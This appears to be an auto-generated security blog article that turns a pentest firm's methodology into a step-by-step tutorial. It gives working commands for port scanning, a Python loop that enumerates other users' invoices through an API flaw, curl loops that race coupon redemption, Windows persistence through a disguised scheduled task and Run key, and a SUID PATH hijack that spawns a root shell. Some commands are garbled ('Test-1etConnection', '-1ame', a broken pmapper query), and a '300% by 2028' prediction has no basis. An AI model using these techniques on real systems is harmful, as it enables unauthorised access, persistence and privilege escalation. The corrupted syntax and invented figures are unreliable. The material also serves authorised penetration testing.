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Introduction:
Standard security assessments often rely on automated scanners and predefined checklists, leaving subtle business logic flaws, chained vulnerabilities, and context‑specific attack paths undiscovered. RedEntry’s methodology—emphasizing “thinking beyond the obvious”—closes this gap by simulating real adversaries who creatively combine low‑severity issues into critical compromises. This article extracts actionable techniques from their approach, covering advanced enumeration, API abuse, persistence, and cloud hardening, with verified commands for Linux, Windows, and cloud environments.
Learning Objectives:
- Master advanced network enumeration and service fingerprinting beyond default Nmap scripts.
- Identify and exploit broken object level authorization (BOLA) and business logic flaws in REST APIs.
- Implement red‑team persistence mechanisms on Windows and Linux, and harden cloud IAM policies against privilege escalation.
You Should Know:
- Advanced Enumeration with Nmap and Masscan – Finding What Standard Scans Miss
Standard “default” scans miss many services running on non‑standard ports or behind rate‑limiting. RedEntry’s team uses Masscan for fast port discovery, then deep‑dives with Nmap’s custom script engine (NSE) and version detection.
Step‑by‑step guide:
1. Scan all 65535 ports quickly (Linux):
sudo masscan -p1-65535 --rate=1000 --wait 0 -oG masscan.out <target_IP>
2. Extract open ports and run a targeted Nmap scan with service detection and default scripts:
open_ports=$(grep -oP '\d+/open' masscan.out | cut -d'/' -f1 | tr '\n' ',') sudo nmap -sC -sV -p$open_ports -O -oA deep_scan <target_IP>
3. Enumerate HTTP/HTTPS with additional NSE scripts for hidden directories and technologies:
nmap -p80,443 --script http-enum,http-headers,http-title -oN web_enum.txt <target_IP>
Windows alternative: Use `Test-1etConnection` in PowerShell for quick port checks, but install Nmap for Windows or PowerShell port scanner for similar depth.
- API Security Testing – Finding Broken Object Level Authorization (BOLA)
APIs are prime targets; BOLA (OWASP API 1) allows an attacker to access another user’s resource by changing an ID parameter. RedEntry’s testers manually craft requests to bypass object‑level checks.
Step‑by‑step guide using Burp Suite & custom scripts:
- Intercept a legitimate request that includes a resource ID, e.g.,
GET /api/user/1234/invoice. - Send to Repeater and modify the ID to another valid value (e.g.,
1235). Observe if you receive data.
3. Automate enumeration with a Python script:
import requests
for uid in range(1000, 2000):
r = requests.get(f'https://target.com/api/user/{uid}/invoice', cookies={'session': '...'})
if r.status_code == 200 and 'unauthorized' not in r.text.lower():
print(f'BOLA found: {uid}')
4. Mitigation – Implement proper access control on the API gateway or middleware, not just the frontend.
Linux command to test rate limits (bypassing simple protection):
for i in {1..100}; do curl -H "Authorization: Bearer $TOKEN" "https://api.target.com/v1/orders?user=2000" & done
3. Windows Persistence Mechanisms – Red Team Tradecraft
Once initial access is gained, red teams establish stealthy persistence. RedEntry’s reports often highlight that standard AV misses registry‑based run keys when obfuscated.
Step‑by‑step guide (PowerShell as Administrator):
- Create a scheduled task that triggers every 30 minutes, running a hidden payload:
$Action = New-ScheduledTaskAction -Execute "C:\Windows\System32\rundll32.exe" -Argument "C:\path\to\malicious.dll,Start" $Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 30) Register-ScheduledTask -TaskName "WindowsUpdateTask" -Action $Action -Trigger $Trigger -User "SYSTEM" -RunLevel Highest
2. Registry auto‑start (alternate method):
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -1ame "UpdateNotifier" -Value "C:\Users\Public\svchost.exe"
3. Detection – Use Sysinternals Autoruns and audit WMI event subscriptions.
- Cloud Hardening – Misconfigured S3 Buckets and IAM Privilege Escalation
Many cloud breaches start with public write access to S3 buckets or overly permissive IAM roles. RedEntry’s cloud assessments routinely find `s3:PutObject` on a bucket that allows cross‑account privileges.
Step‑by‑step (AWS CLI, Linux/macOS):
- Check for public buckets (requires authenticated IAM user):
aws s3api list-buckets --query "Buckets[?CreationDate<='2025-01-01'].Name" --output text | xargs -I {} aws s3api get-bucket-acl --bucket {} | grep -i "AllUsers|AuthenticatedUsers" - Enumerate IAM actions to find privilege escalation paths (using `pacu` or
principalmapper):git clone https://github.com/nccgroup/PMapper cd PMapper && python3 setup.py install pmapper graph --create --account <alias> pmapper query 'users[].attachedPolicies[].policyDocument.Statement[?Effect=="Allow" && contains(Resource,"") && contains(Resource,"")].Action'
- Fix – Enforce bucket policies that deny public access and apply least‑privilege IAM roles.
-
Exploiting Business Logic Flaws – The “Thinking Beyond” Mindset
Standard checklists miss flaws like “negative quantity” in e‑commerce or “race conditions” during checkout. RedEntry’s team manually maps application workflows to identify inconsistent state transitions.
Step‑by‑step example (shopping cart bypass):
- Add item to cart – POST `/cart` with
{"item_id": 100, "quantity": 1}. - Modify quantity to -1 in a subsequent PUT request. If the backend does not validate, it might decrement total price.
- Race condition test – Send multiple concurrent requests to apply the same discount code:
for i in {1..20}; do curl -X POST https://target.com/api/apply_coupon -d 'code=SAVE100' -b session_cookie & done wait -
Mitigation – Implement idempotency keys, server‑side validation of all user inputs, and use database row‑level locking.
-
Linux Privilege Escalation – Abusing SUID Binaries and PATH Injection
RedEntry’s penetration testers often find standard Linux deployments where a custom SUID binary can be exploited via environment variable injection.
Step‑by‑step guide:
1. Find all SUID binaries (setuid root):
find / -perm -4000 -type f 2>/dev/null
2. Check for common vulnerable binaries like pkexec, sudo, vim, `nano` (GTFOBins).
3. Exploit a custom SUID binary that calls `system()` without sanitized PATH:
Assume binary runs "ps aux" – we hijack PATH echo '/bin/sh' > /tmp/ps chmod +x /tmp/ps export PATH=/tmp:$PATH ./vulnerable_suid_binary spawns root shell
4. Mitigation – Remove unnecessary SUID bits, compile with full path specifications, and use capabilities instead.
- Integrating DevSecOps – From Finding to Fixing Fast
RedEntry encourages embedding security assessments into CI/CD pipelines. This shifts left, catching the “non‑standard” flaws before production.
Step‑by‑step using open‑source tools:
1. Add SAST to GitLab CI (`.gitlab-ci.yml`):
semgrep: script: semgrep --config=p/owasp-top-ten --error .
2. Add DAST on staging (using OWASP ZAP):
docker run -v $(pwd):/zap/wrk/:rw -t owasp/zap2docker-stable zap-full-scan.py -t https://staging.target.com -r report.html
3. Automate regression tests for previously found business logic flaws (e.g., with Postman/Newman + custom assertions).
What Undercode Say:
- Thoroughness wins – The best assessments go beyond automated scans and challenge core assumptions about how an application should behave versus how it can be abused.
- Soft skills matter – Availability, clear communication, and professional collaboration are as critical as technical depth, often turning a one‑time test into a long‑term security partnership.
Analysis (10 lines):
Omri Zachay’s team at RedEntry demonstrates that “thinking beyond the obvious” is not a buzzword but a repeatable methodology. They prioritize manual chaining of low‑severity issues, which automated scanners consistently miss. Their focus on professionalism and availability builds trust, enabling deeper access to client environments and more realistic red team exercises. The shout‑out from Webcand highlights a common industry gap: many pentests stop at a checklist of OWASP Top 10 findings. RedEntry’s approach mirrors real attackers who spend hours exploring edge cases and race conditions. This article’s commands—from Masscan enumeration to API BOLA scripts—provide a practical toolkit for penetration testers aiming to elevate their game. Ultimately, the best defense is an offense that thinks like a human adversary, not like a vulnerability scanner.
Prediction:
- +1 – As AI‑augmented coding becomes mainstream, business logic flaws will increase, and demand for manual “thinking beyond” pentests like RedEntry’s will surge by 300% by 2028.
- -1 – Without integrating these deep‑dive techniques into automated CI/CD pipelines, most organizations will remain vulnerable to chained exploits, leading to a spike in breaches originating from logic abuse.
- +1 – RedEntry’s public emphasis on transparency and client collaboration will set a new standard for ethical hacking firms, driving competitors to move beyond checklist reports.
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IT/Security Reporter URL:
Reported By: Omri Zachay – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
